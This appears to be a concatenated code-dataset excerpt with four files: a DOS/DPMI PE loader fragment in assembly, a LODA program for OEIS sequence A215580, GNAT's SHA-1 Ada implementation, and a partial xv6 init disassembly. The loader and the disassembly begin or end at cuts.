pspSelector mov es, es:[2Ch] mov eax, es call getSelectorBase mov edx, eax sub edi, edi sub eax, eax mov esi, envStart or ecx, -1 mov ebx, edx @@envLoop2: mov [esi], ebx cmp BYTE PTR es:[edi], 0 je short @@envArrayDone repne scasb add esi, 4 lea ebx, [edi+edx] jmp short @@envLoop2 @@envArrayDone: mov DWORD PTR [esi], 0 ; ; Set up the user program environment and jump to the entry point in a way ; that would invoke the debugger, if present. ; mov es, pspSelector sub eax, eax mov gs, eax push ds pop fs ; FS => TIB lea edx, [esp-1016] mov eax, entryPoint mov [edx], eax mov ebx, ebp ; segment base in ebx add ebp, envStart pop esi lea edi, [ebx+OFFSET argv] mov eax, flatSelector mov [edx+4], eax add eax, 8 mov ds, eax mov ss, eax add esp, ebx ; ; Finally, process fixups. ; mov eax, cs:hModule call peRelocate cmp DWORD PTR cs:hKernel, 0 jz loaderDoJump push eax mov eax, cs:hKernel call peRelocate pop eax loaderDoJump: ; ; ...and jump to start of user program ; ; Registers are: ; EAX = hModule ; EBX = loader segment base address ; ECX, EDX = rubbish ; ESI, EDI, EBP = argc, argv[] and env[] as usual ; ; ; Prepare for possible termination of the PE with RET. ; lea ecx, [ebx + OFFSET doTerminate] push ecx jmp PWORD PTR cs:[edx] ; ; In case the PE terminates with just a RET instead of calling ExitProcess() ; we'll end up right here, allthough with a different CS (zero based) ; doTerminate: mov ah, 4Ch int 21h ;----------------------------------------------------------------------------- ; StringErrorExit - Display string in [ESP] and exit ; (relocatable) ; stringErrorExit LABEL NEAR pop edx mov ah, 9 int 21h mov ax, 4CFFh int 21h ;----------------------------------------------------------------------------- ; getSelectorBase ; ; In: EAX = Selector ; Out: EAX = linear base address ; (relocatable) ; No error checking done here! ; getSelectorBase PROC NEAR push ebx push ecx push edx mov ebx, eax mov ax, 6 int 31h shrd eax, edx, 16 shrd eax, ecx, 16 pop edx pop ecx pop ebx ret getSelectorBase ENDP ;----------------------------------------------------------------------------- ; skipMZexe - set file pointer to after an MZ - .exe image ; (not relocatable) ; ; In: EBX = file handle, file pointer assumed to be at 'MZ' signature ; Out: File pointer set accordingly, EDX = new file pointer ; ; Modified: Certain general purpose registers are clobbered, namely ; EAX, ECX, EDX ; ; If we encounter an error, this procedure will never return. Then again, as ; we execute this code, it is highly unlikely that we get an error from this ; one. ; skipMZexe PROC NEAR mov ecx, 8 sub esp, ecx ; Allocate temp storage mov ah, 3Fh ; (W)DOS - read from file mov edx, esp ; EDX = start of buffer push OFFSET strFile ; Prepare to bomb out int 21h ; ; Check for certain error conditions ; jc stringErrorExit cmp eax, ecx jne stringErrorExit cmp WORD PTR [esp+4], 'ZM' jne stringErrorExit ; ; Calculate size of MZ executable ; movzx edx, WORD PTR [esp+6] ; Size MOD 512 movzx ecx, WORD PTR [esp+8] ; Size DIV 512 shl ecx, 9 dec edx and edx, 511 lea edx, [edx+ecx-512+1-8] ; 8 bytes already read ; ; Call DOS lseek() ; shld ecx, edx, 16 mov ax, 4201h int 21h jc stringErrorExit add esp, 12 ; Clean up the stack shl edx, 16 mov dx, ax ret skipMZexe ENDP ;----------------------------------------------------------------------------- ; Initialized data following ; ALIGN 4 codeDescriptor dq 0CF9A000000FFFFh dataDescriptor dq 0CF92000000FFFFh strDescriptor db 'Could not set DPMI descriptors.',0Dh,0Ah,'$' strFile db 'Error reading executable.',0Dh,0Ah,'$' strFormat db 'Not a valid PE.',0Dh,0Ah,'$' strMemory db 'Not enough memory.',0Dh, 0Ah,'$' ;strNoFFFF db 'Sorry, but INT 21/FFFF is unavailable in this environment.' ; db 0Dh,0Ah ; db 'Either use DPMI function 0501 to allocate memory or use STUBIT.EXE with the' ; db 0Dh,0Ah ; db '-m_float backwards compatibility option!' ; db 0Dh,0Ah,'$' strK32 db 'kernel32.wdl',0 strNoK32 db 'Error loading module kernel32.wdl.',0Dh,0Ah,'$' ;----------------------------------------------------------------------------- ; peRelocate - Process all fixups in a PE image ; ; Entry: EAX = hModule ; Exit: ; ; The procedure itself does not have fixed memory references and therefore can ; be used to let a PE executable relocate itself. ; ; One might excuse the lack of comments, but as this procedure has proven very ; reliable, it's highly unlikely that it needs to be changed ever. Just works. ; ; As a side effect, the new relocation base is stored in the image, making ; multiple relocation passes possible. ; peRelocate PROC NEAR pushad mov ebp, [eax+60] add ebp, [esp+28] mov edi, [ebp+0A0h] test edi, edi je short @@relocDone cmp DWORD PTR [ebp+0A4h], 0 je @@relocDone add edi, eax sub eax, [ebp+034h] add [ebp+034h], eax @@relocNextPage: mov edx, [edi] test edx, edx jz short @@relocDone add edx, [esp+28] mov esi, 8 @@relocNextFixup: movzx ebp, WORD PTR [edi+esi] ror ebp, 12 mov ebx, ebp shr ebx, 20 cmp bp, 2 jnz short @@relocNotType2 add [edx+ebx], ax jmp short @@relocGetNext @@relocNotType2: cmp bp, 1 jnz short @@relocNotType1 push eax shl eax, 16 add [edx+ebx], ax pop eax jmp short @@relocGetNext @@relocNotType1: cmp bp, 3 jnz short @@relocNotType3 add [edx+ebx], eax jmp short @@relocGetNext @@relocNotType3: cmp bp, 4 jnz short @@relocGetNext add esi, 2 mov ebp, [edx+ebx-2] mov bp, [edi+esi] lea ebp, [ebp+eax+8000h] shr ebp, 16 mov [edx+ebx], bp @@relocGetNext: add esi, 2 cmp esi, [edi+4] jnz short @@relocNextFixup add edi, esi jmp short @@relocNextPage @@relocDone: popad retn peRelocate ENDP ;----------------------------------------------------------------------------- ; wfseHandler: Wrapper around DOS file accesses. If WFSE present, try WFES ; first, then DOS. ; (not relocatable) wfseHandler PROC NEAR cmp cs:haveWfse, 0 ; allow running with different DS je @@noWfse push eax shl eax, 16 mov ax, 0FFFDh int 21h jnc @@wfseOk pop eax @@noWfse: int 21h ret @@wfseOk: add esp, 4 ret wfseHandler ENDP haveWfse db 0 ; default to NO ;----------------------------------------------------------------------------- ; CheckWfse - Check whether we have WFSE and set the flag accordingly ; checkWfse PROC NEAR push eax push ebx mov eax, 0FFFDh int 21h jc noWfse cmp eax, 57465345h sete haveWfse noWfse: pop ebx pop eax ret checkWfse ENDP ;----------------------------------------------------------------------------- ; loadKernel - Load and relocate Kernel32.wdl ; ; Return: EAX = hModule ; loadKernel PROC NEAR pushad mov ebp, ds call checkWfse ; ; Open this file. ; mov edx, OFFSET strK32 mov ax, 3D00h call wfseHandler jnc loadK32Open ; ; Try current directory ; mov eax, pOffset sub esp, 128 push ds mov ds, pspSelector mov ds, ds:[2Ch] lea edx, [esp + 4] @@EndPathLoop: mov cl, [eax] inc eax mov ss:[edx], cl inc edx cmp cl, 1 jnc short @@EndPathLoop pop ds @@FindPathLoop: dec edx cmp BYTE PTR [edx -1], '\' jnz short @@FindPathLoop mov DWORD PTR [edx], 'nrek' mov DWORD PTR [edx + 4], '23le' mov DWORD PTR [edx + 8], 'ldw.' mov BYTE PTR [edx + 12], 0 mov edx, esp mov ax, 3D00h int 21h lea esp, [esp + 128] jc loadK32Error loadK32Open: mov ebx, eax ; ; Read in headers and perform the usual PE loading stuff ; mov ecx, 64 sub esp, 68h ; alloc temp storage mov edx, esp mov ah, 3Fh call wfseHandler jc loadK32Error cmp eax, ecx jne loadK32Error ; ; Check for MZ .EXE signature ; cmp word ptr [esp],'ZM' jnz loadK32Error ; ; Get offset to PE header and load first 54h bytes there ; mov edx, [esp+60] lea edi, [edx+24] ; First chunk to load into real ; memory sub edx, 64 jz short loadK32AtPE shld ecx, edx, 16 mov eax, 4201h call wfseHandler jc loadK32Error loadK32AtPE: mov ecx, 68h mov edx, esp mov ah, 3Fh call wfseHandler jc loadK32Error cmp eax, ecx jne loadK32Error ; ; Verify whether the image pretends to be a PE or not ; cmp DWORD PTR [esp],'EP' jnz loadK32Error ; ; Get the size of memory needed to load all of the image ; mov ecx, [esp+50h] add ecx, 0FFFh and ecx, 0FFFFF000h ; ; Try to allocate a memory block ; shld ebx, ecx, 16 ; handle > high EBX push OFFSET strMemory mov ax, 0501h int 31h jc stringErrorExit ; ; The block handle is never to be released, so we can just discard it ; add esp, 6CH ; relase temp storage mov esi, ebx shr ebx, 16 ; handle > low EBX shl ecx, 16 shld esi, ecx, 16 ; mov eax, cs ; MikeT - XP workaround ; call getSelectorBase ; MikeT - XP workaround mov [esp+28], esi ; store linear hModule ; sub esi, eax ; MikeT - XP workaround push gs ; MikeT - XP workaround pop ds ; MikeT - XP workaround ; ; lSeek back to the start of the image ; sub ecx, ecx sub edx, edx mov ax, 4200h call wfseHandler jc loadK32Error ; ; Load first portion of image ; mov edx, esi mov ecx, 64 mov ah, 3Fh call wfseHandler jc loadK32Error cmp eax, ecx jne loadK32Error add edx, ecx sub ecx, [esi+60] neg ecx add ecx, 24 mov ah, 3Fh call wfseHandler jc loadK32Error cmp eax, ecx jne loadK32Error ; ; Get the not-so-optional header size and load the thing ; lea edx, [edx+ecx-24] movzx ecx, word ptr [edx+20] add edx, 24 mov ah, 3Fh call wfseHandler jc loadK32Error cmp eax, ecx jne loadK32Error ; ; Load section table ; mov ecx, [esi + 60] movzx ecx, BYTE PTR [ecx + esi + 6] ; Get # of sections add edx, eax ; Set pointer where to store imul ecx, 28h ; Get directory size mov ah, 3Fh call wfseHandler jc loadK32Error cmp eax, ecx jne loadK32Error mov edi, edx ; ; ESI = hModule (RVA = 0) ; EDI -> Image Section Header ; ; Now clear to load all these sections into memory ; ; add ecx, edx push ecx k32loadImageSection: cmp edi, [esp] jnc loadK32Done ; ; Check first letter of section name, done if zero ; cmp byte ptr [edi], 0 jz short loadK32Done ; ; Get virtual size ; mov eax, [edi+8] or eax, [edi+16] jz short k32loadNextSection ; nothing to load? mov edx, [edi+20] ; Get file offset shld ecx, edx, 16 mov ax, 4200h call wfseHandler jc loadK32Error mov edx, [edi+12] ; Get RVA mov ecx, [edi+16] ; Get size add edx, esi ; RVA -> offset mov ah, 3Fh call wfseHandler jc loadK32Error cmp eax, ecx jne loadK32Error k32loadNextSection: add edi, 40 jmp short k32loadImageSection loadK32Error: mov ds, ebp ; MikeT - XP workaround push OFFSET strNoK32 jmp stringErrorExit loadk32Done: pop eax mov ds, ebp ; MikeT - XP workaround ; ; Now that we have loaded all of the file we can close it. ; mov ah, 3Eh call wfseHandler popad ret loadKernel ENDP ;----------------------------------------------------------------------------- ; A new INT 21h - handler to avoid calling function FFFF, which otherwise ; would give unexpected results at best. ; ;newInt21: ; cmp ax, -1 ; jne short oldInt21 ; ; mov ds, cs:[myDs] ; mov ah, 0Fh ; int 10h ; and al, 7Fh ; cmp al, 3 ; je short @@modeOk ; ; mov ax, 3 ; int 10h ; ;@@modeOk: ; push OFFSET strNoFFFF ; jmp stringErrorExit ; ; Name of the main executable if it's WFSE'ed. Note that this name cannot ; exist in 8.3 DOS. ; wfseName db 'wdosxmain',0 ;oldInt21: ; db 0EAh ; JMP FAR opcode ;old21Ofs dd ? ;old21Sel dd ? ;myDs dd ? ; floating segment DS CODE ENDS END start
programs/oeis/215/A215580.asm
jmorken/loda
1
88702
; A215580: Partial sums of A215602. ; 2,5,17,45,122,320,842,2205,5777,15125,39602,103680,271442,710645,1860497,4870845,12752042,33385280,87403802,228826125,599074577,1568397605,4106118242,10749957120,28143753122,73681302245,192900153617,505019158605,1322157322202,3461452808000,9062201101802,23725150497405,62113250390417,162614600673845 mov $1,3 mov $2,$0 mov $3,1 mov $4,$0 lpb $2 lpb $0 sub $0,1 add $3,$1 add $1,$3 lpe sub $1,2 sub $2,1 trn $2,1 lpe lpb $4 add $1,1 sub $4,1 lpe sub $1,1
bb-runtimes/runtimes/ravenscar-full-stm32g474/gnat/g-sehash.adb
JCGobbi/Nucleo-STM32G474RE
0
1582
------------------------------------------------------------------------------ -- -- -- GNAT LIBRARY COMPONENTS -- -- -- -- G N A T . S E C U R E _ H A S H E S . S H A 1 -- -- -- -- B o d y -- -- -- -- Copyright (C) 2002-2021, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. -- -- -- -- -- -- -- -- -- -- -- -- You should have received a copy of the GNU General Public License and -- -- a copy of the GCC Runtime Library Exception along with this program; -- -- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see -- -- <http://www.gnu.org/licenses/>. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ package body GNAT.Secure_Hashes.SHA1 is use Interfaces; use GNAT.Byte_Swapping; -- The following functions are the four elementary components of each -- of the four round groups (0 .. 19, 20 .. 39, 40 .. 59, and 60 .. 79) -- defined in RFC 3174. function F0 (B, C, D : Unsigned_32) return Unsigned_32; pragma Inline (F0); function F1 (B, C, D : Unsigned_32) return Unsigned_32; pragma Inline (F1); function F2 (B, C, D : Unsigned_32) return Unsigned_32; pragma Inline (F2); function F3 (B, C, D : Unsigned_32) return Unsigned_32; pragma Inline (F3); -------- -- F0 -- -------- function F0 (B, C, D : Interfaces.Unsigned_32) return Interfaces.Unsigned_32 is begin return (B and C) or ((not B) and D); end F0; -------- -- F1 -- -------- function F1 (B, C, D : Interfaces.Unsigned_32) return Interfaces.Unsigned_32 is begin return B xor C xor D; end F1; -------- -- F2 -- -------- function F2 (B, C, D : Interfaces.Unsigned_32) return Interfaces.Unsigned_32 is begin return (B and C) or (B and D) or (C and D); end F2; -------- -- F3 -- -------- function F3 (B, C, D : Interfaces.Unsigned_32) return Interfaces.Unsigned_32 renames F1; --------------- -- Transform -- --------------- procedure Transform (H : in out Hash_State.State; M : in out Message_State) is use System; type Words is array (Natural range <>) of Interfaces.Unsigned_32; X : Words (0 .. 15); for X'Address use M.Buffer'Address; pragma Import (Ada, X); W : Words (0 .. 79); A, B, C, D, E, Temp : Interfaces.Unsigned_32; begin if Default_Bit_Order /= High_Order_First then for J in X'Range loop Swap4 (X (J)'Address); end loop; end if; -- a. Divide data block into sixteen words W (0 .. 15) := X; -- b. Prepare working block of 80 words for T in 16 .. 79 loop -- W(t) = S^1(W(t-3) XOR W(t-8) XOR W(t-14) XOR W(t-16)) W (T) := Rotate_Left (W (T - 3) xor W (T - 8) xor W (T - 14) xor W (T - 16), 1); end loop; -- c. Set up transformation variables A := H (0); B := H (1); C := H (2); D := H (3); E := H (4); -- d. For each of the 80 rounds, compute: -- TEMP = S^5(A) + f(t;B,C,D) + E + W(t) + K(t); -- E = D; D = C; C = S^30(B); B = A; A = TEMP; for T in 0 .. 19 loop Temp := Rotate_Left (A, 5) + F0 (B, C, D) + E + W (T) + 16#5A827999#; E := D; D := C; C := Rotate_Left (B, 30); B := A; A := Temp; end loop; for T in 20 .. 39 loop Temp := Rotate_Left (A, 5) + F1 (B, C, D) + E + W (T) + 16#6ED9EBA1#; E := D; D := C; C := Rotate_Left (B, 30); B := A; A := Temp; end loop; for T in 40 .. 59 loop Temp := Rotate_Left (A, 5) + F2 (B, C, D) + E + W (T) + 16#8F1BBCDC#; E := D; D := C; C := Rotate_Left (B, 30); B := A; A := Temp; end loop; for T in 60 .. 79 loop Temp := Rotate_Left (A, 5) + F3 (B, C, D) + E + W (T) + 16#CA62C1D6#; E := D; D := C; C := Rotate_Left (B, 30); B := A; A := Temp; end loop; -- e. Update context: -- H0 = H0 + A, H1 = H1 + B, H2 = H2 + C, H3 = H3 + D, H4 = H4 + E H (0) := H (0) + A; H (1) := H (1) + B; H (2) := H (2) + C; H (3) := H (3) + D; H (4) := H (4) + E; end Transform; end GNAT.Secure_Hashes.SHA1;
init.asm
sloanetj/Xv6-Container-Support
0
245908
<filename>init.asm _init: file format elf32-i386 Disassembly of section .text: 00000000 <main>: char *argv[] = {"sh", 0}; int main(void) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 53 push %ebx e: 51 push %ecx int pid, wpid; if (open("console", O_RDWR) < 0) { f: 83 ec 08 sub $0x8,%esp 12: 6a 02 push $0x2 14: 68 58 08 00 00 push $0x858 19: e8 83 03 00 00 call 3a1 <open> 1e: 83 c4 10 add $0x10,%esp 21: 85 c0 test %eax,%eax 23: 0f 88 9f 00 00 00 js c8 <main+0xc8> mknod("console", 1, 1); open("console", O_RDWR); } dup(0); // stdout 29: 83 ec 0c sub $0xc,%esp 2c: 6a 00 push $0x0 2e: e8 a6 03 00 00 call 3d9 <dup> dup(0); // stderr 33: c7 04 24 00 00 00 00 movl $0x0,(%esp) 3a: e8 9a 03 00 00 call 3d9 <dup> 3f: 83 c4 10 add $0x10,%esp 42: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for (;;) { printf(1, "init: starting sh\n"); 48: 83 ec 08 sub $0x8,%esp 4b: 68 60 08 00 00 push $0x860 50: 6a 01 push $0x1 52: e8 a9 04 00 00 call 500 <printf> pid = fork(); 57: e8 fd 02 00 00 call 359 <fork> if (pid < 0) { 5c: 83 c4 10 add $0x10,%esp 5f: 85 c0 test %eax,%eax pid = fork(); 61: 89 c3 mov %eax,%ebx if (pid < 0) { 63: 78 2c js 91 <main+0x91> printf(1, "init: fork failed\n"); exit(); } if (pid == 0) { 65: 74 3d je a4 <main+0xa4> 67: 89 f6 mov %esi,%esi 69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi exec("sh", argv); printf(1, "init: exec sh failed\n"); exit(); } while ((wpid = wait()) >= 0 && wpid != pid) printf(1, "zombie!\n"); 70: e8 f4 02 00 00 call 369 <wait> 75: 85 c0 test %eax,%eax 77: 78 cf js 48 <main+0x48> 79: 39 c3 cmp %eax,%ebx 7b: 74 cb je 48 <main+0x48> 7d: 83 ec 08 sub $0x8,%esp 80: 68 9f 08 00 00 push $0x89f 85: 6a 01 push $0x1 87: e8 74 04 00 00 call 500 <printf> 8c: 83 c4 10 add $0x10,%esp 8f: eb df jmp 70 <main+0x70> printf(1, "init: fork failed\n"); 91: 53 push %ebx 92: 53 push %ebx 93: 68 73 08 00 00 push $0x873 98: 6a 01 push $0x1 9a: e8 61 04 00 00 call 500 <printf> exit(); 9f: e8 bd 02 00 00 call 361 <exit> exec("sh", argv); a4: 50 push %eax a5: 50 push %eax a6: 68 98 0b 00 00 push $0xb98 ab: 68 86 08 00 00 push $0x886 b0: e8 e4 02 00 00 call 399 <exec> printf(1, "init: exec sh failed\n"); b5: 5a pop %edx b6: 59 pop %ecx b7: 68 89 08 00 00 push $0x889 bc: 6a 01 push $0x1 be: e8 3d 04 00 00 call 500 <printf> exit(); c3: e8 99 02 00 00 call 361 <exit> mknod("console", 1, 1); c8: 50 push %eax c9: 6a 01 push $0x1 cb: 6a 01 push $0x1 cd: 68 58 08 00 00 push $0x858 d2: e8 d2 02 00 00 call 3a9 <mknod> open("console", O_RDWR); d7: 58 pop %eax d8: 5a pop %edx d9: 6a 02 push $0x2 db: 68 58 08 00 00 push $0x858 e0: e8 bc 02 00 00 call 3a1 <open> e5: 83 c4 10 add $0x10,%esp e8: e9 3c ff ff ff jmp 29 <main+0x29> ed: 66 90 xchg %ax,%ax ef: 90 nop 000000f0 <strcpy>: #include "user.h" #include "x86.h" char * strcpy(char *s, char *t) { f0: 55 push %ebp f1: 89 e5 mov %esp,%ebp f3: 53 push %ebx f4: 8b 45 08 mov 0x8(%ebp),%eax f7: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while ((*s++ = *t++) != 0) fa: 89 c2 mov %eax,%edx fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 100: 83 c1 01 add $0x1,%ecx 103: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 107: 83 c2 01 add $0x1,%edx 10a: 84 db test %bl,%bl 10c: 88 5a ff mov %bl,-0x1(%edx) 10f: 75 ef jne 100 <strcpy+0x10> ; return os; } 111: 5b pop %ebx 112: 5d pop %ebp 113: c3 ret 114: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 11a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000120 <strcmp>: int strcmp(const char *p, const char *q) { 120: 55 push %ebp 121: 89 e5 mov %esp,%ebp 123: 53 push %ebx 124: 8b 55 08 mov 0x8(%ebp),%edx 127: 8b 4d 0c mov 0xc(%ebp),%ecx while (*p && *p == *q) p++, q++; 12a: 0f b6 02 movzbl (%edx),%eax 12d: 0f b6 19 movzbl (%ecx),%ebx 130: 84 c0 test %al,%al 132: 75 1c jne 150 <strcmp+0x30> 134: eb 2a jmp 160 <strcmp+0x40> 136: 8d 76 00 lea 0x0(%esi),%esi 139: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 140: 83 c2 01 add $0x1,%edx 143: 0f b6 02 movzbl (%edx),%eax 146: 83 c1 01 add $0x1,%ecx 149: 0f b6 19 movzbl (%ecx),%ebx 14c: 84 c0 test %al,%al 14e: 74 10 je 160 <strcmp+0x40> 150: 38 d8 cmp %bl,%al 152: 74 ec je 140 <strcmp+0x20> return (uchar)*p - (uchar)*q; 154: 29 d8 sub %ebx,%eax } 156: 5b pop %ebx 157: 5d pop %ebp 158: c3 ret 159: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 160: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; 162: 29 d8 sub %ebx,%eax } 164: 5b pop %ebx 165: 5d pop %ebp 166: c3 ret 167: 89 f6 mov %esi,%esi 169: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000170 <strlen>: uint strlen(char *s) { 170: 55 push %ebp 171: 89 e5 mov %esp,%ebp 173: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for (n = 0; s[n]; n++) 176: 80 39 00 cmpb $0x0,(%ecx) 179: 74 15 je 190 <strlen+0x20> 17b: 31 d2 xor %edx,%edx 17d: 8d 76 00 lea 0x0(%esi),%esi 180: 83 c2 01 add $0x1,%edx 183: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 187: 89 d0 mov %edx,%eax 189: 75 f5 jne 180 <strlen+0x10> ; return n; } 18b: 5d pop %ebp 18c: c3 ret 18d: 8d 76 00 lea 0x0(%esi),%esi for (n = 0; s[n]; n++) 190: 31 c0 xor %eax,%eax } 192: 5d pop %ebp 193: c3 ret 194: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 19a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000001a0 <memset>: void * memset(void *dst, int c, uint n) { 1a0: 55 push %ebp 1a1: 89 e5 mov %esp,%ebp 1a3: 57 push %edi 1a4: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : "=D"(addr), "=c"(cnt) : "0"(addr), "1"(cnt), "a"(data) : "memory", "cc"); 1a7: 8b 4d 10 mov 0x10(%ebp),%ecx 1aa: 8b 45 0c mov 0xc(%ebp),%eax 1ad: 89 d7 mov %edx,%edi 1af: fc cld 1b0: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 1b2: 89 d0 mov %edx,%eax 1b4: 5f pop %edi 1b5: 5d pop %ebp 1b6: c3 ret 1b7: 89 f6 mov %esi,%esi 1b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000001c0 <strchr>: char * strchr(const char *s, char c) { 1c0: 55 push %ebp 1c1: 89 e5 mov %esp,%ebp 1c3: 53 push %ebx 1c4: 8b 45 08 mov 0x8(%ebp),%eax 1c7: 8b 5d 0c mov 0xc(%ebp),%ebx for (; *s; s++) 1ca: 0f b6 10 movzbl (%eax),%edx 1cd: 84 d2 test %dl,%dl 1cf: 74 1d je 1ee <strchr+0x2e> if (*s == c) return (char *)s; 1d1: 38 d3 cmp %dl,%bl 1d3: 89 d9 mov %ebx,%ecx 1d5: 75 0d jne 1e4 <strchr+0x24> 1d7: eb 17 jmp 1f0 <strchr+0x30> 1d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1e0: 38 ca cmp %cl,%dl 1e2: 74 0c je 1f0 <strchr+0x30> for (; *s; s++) 1e4: 83 c0 01 add $0x1,%eax 1e7: 0f b6 10 movzbl (%eax),%edx 1ea: 84 d2 test %dl,%dl 1ec: 75 f2 jne 1e0 <strchr+0x20> return 0; 1ee: 31 c0 xor %eax,%eax } 1f0: 5b pop %ebx 1f1: 5d pop %ebp 1f2: c3 ret 1f3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 1f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000200 <gets>: char * gets(char *buf, int max) { 200: 55 push %ebp 201: 89 e5 mov %esp,%ebp 203: 57 push %edi 204: 56 push %esi 205: 53 push %ebx int i, cc; char c; for (i = 0; i + 1 < max;) { 206: 31 f6 xor %esi,%esi 208: 89 f3 mov %esi,%ebx { 20a: 83 ec 1c sub $0x1c,%esp 20d: 8b 7d 08 mov 0x8(%ebp),%edi for (i = 0; i + 1 < max;) { 210: eb 2f jmp 241 <gets+0x41> 212: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cc = read(0, &c, 1); 218: 8d 45 e7 lea -0x19(%ebp),%eax 21b: 83 ec 04 sub $0x4,%esp 21e: 6a 01 push $0x1 220: 50 push %eax 221: 6a 00 push $0x0 223: e8 51 01 00 00 call 379 <read> if (cc < 1) break; 228: 83 c4 10 add $0x10,%esp 22b: 85 c0 test %eax,%eax 22d: 7e 1c jle 24b <gets+0x4b> buf[i++] = c; 22f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 233: 83 c7 01 add $0x1,%edi 236: 88 47 ff mov %al,-0x1(%edi) if (c == '\n' || c == '\r') break; 239: 3c 0a cmp $0xa,%al 23b: 74 23 je 260 <gets+0x60> 23d: 3c 0d cmp $0xd,%al 23f: 74 1f je 260 <gets+0x60> for (i = 0; i + 1 < max;) { 241: 83 c3 01 add $0x1,%ebx 244: 3b 5d 0c cmp 0xc(%ebp),%ebx 247: 89 fe mov %edi,%esi 249: 7c cd jl 218 <gets+0x18> 24b: 89 f3 mov %esi,%ebx } buf[i] = '\0'; return buf; } 24d: 8b 45 08 mov 0x8(%ebp),%eax buf[i] = '\0'; 250: c6 03 00 movb $0x0,(%ebx) } 253: 8d 65 f4 lea -0xc(%ebp),%esp 256: 5b pop %ebx 257: 5e pop %esi 258: 5f pop %edi 259: 5d pop %ebp 25a: c3 ret 25b: 90 nop 25c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 260: 8b 75 08 mov 0x8(%ebp),%esi 263: 8b 45 08 mov 0x8(%ebp),%eax 266: 01 de add %ebx,%esi 268: 89 f3 mov %esi,%ebx buf[i] = '\0'; 26a: c6 03 00 movb $0x0,(%ebx) } 26d: 8d 65 f4 lea -0xc(%ebp),%esp 270: 5b pop %ebx 271: 5e pop %esi 272: 5f pop %edi 273: 5d pop %ebp 274: c3 ret 275: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 279: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000280 <stat>: int stat(char *n, struct stat *st) { 280: 55 push %ebp 281: 89 e5 mov %esp,%ebp 283: 56 push %esi 284: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 285: 83 ec 08 sub $0x8,%esp 288: 6a 00 push $0x0 28a: ff 75 08 pushl 0x8(%ebp) 28d: e8 0f 01 00 00 call 3a1 <open> if (fd < 0) return -1; 292: 83 c4 10 add $0x10,%esp 295: 85 c0 test %eax,%eax 297: 78 27 js 2c0 <stat+0x40> r = fstat(fd, st); 299: 83 ec 08 sub $0x8,%esp 29c: ff 75 0c pushl 0xc(%ebp) 29f: 89 c3 mov %eax,%ebx 2a1: 50 push %eax 2a2: e8 12 01 00 00 call 3b9 <fstat> close(fd); 2a7: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 2aa: 89 c6 mov %eax,%esi close(fd); 2ac: e8 d8 00 00 00 call 389 <close> return r; 2b1: 83 c4 10 add $0x10,%esp } 2b4: 8d 65 f8 lea -0x8(%ebp),%esp 2b7: 89 f0 mov %esi,%eax 2b9: 5b pop %ebx 2ba: 5e pop %esi 2bb: 5d pop %ebp 2bc: c3 ret 2bd: 8d 76 00 lea 0x0(%esi),%esi if (fd < 0) return -1; 2c0: be ff ff ff ff mov $0xffffffff,%esi 2c5: eb ed jmp 2b4 <stat+0x34> 2c7: 89 f6 mov %esi,%esi 2c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000002d0 <atoi>: int atoi(const char *s) { 2d0: 55 push %ebp 2d1: 89 e5 mov %esp,%ebp 2d3: 53 push %ebx 2d4: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while ('0' <= *s && *s <= '9') n= n * 10 + *s++ - '0'; 2d7: 0f be 11 movsbl (%ecx),%edx 2da: 8d 42 d0 lea -0x30(%edx),%eax 2dd: 3c 09 cmp $0x9,%al n = 0; 2df: b8 00 00 00 00 mov $0x0,%eax while ('0' <= *s && *s <= '9') n= n * 10 + *s++ - '0'; 2e4: 77 1f ja 305 <atoi+0x35> 2e6: 8d 76 00 lea 0x0(%esi),%esi 2e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 2f0: 8d 04 80 lea (%eax,%eax,4),%eax 2f3: 83 c1 01 add $0x1,%ecx 2f6: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax 2fa: 0f be 11 movsbl (%ecx),%edx 2fd: 8d 5a d0 lea -0x30(%edx),%ebx 300: 80 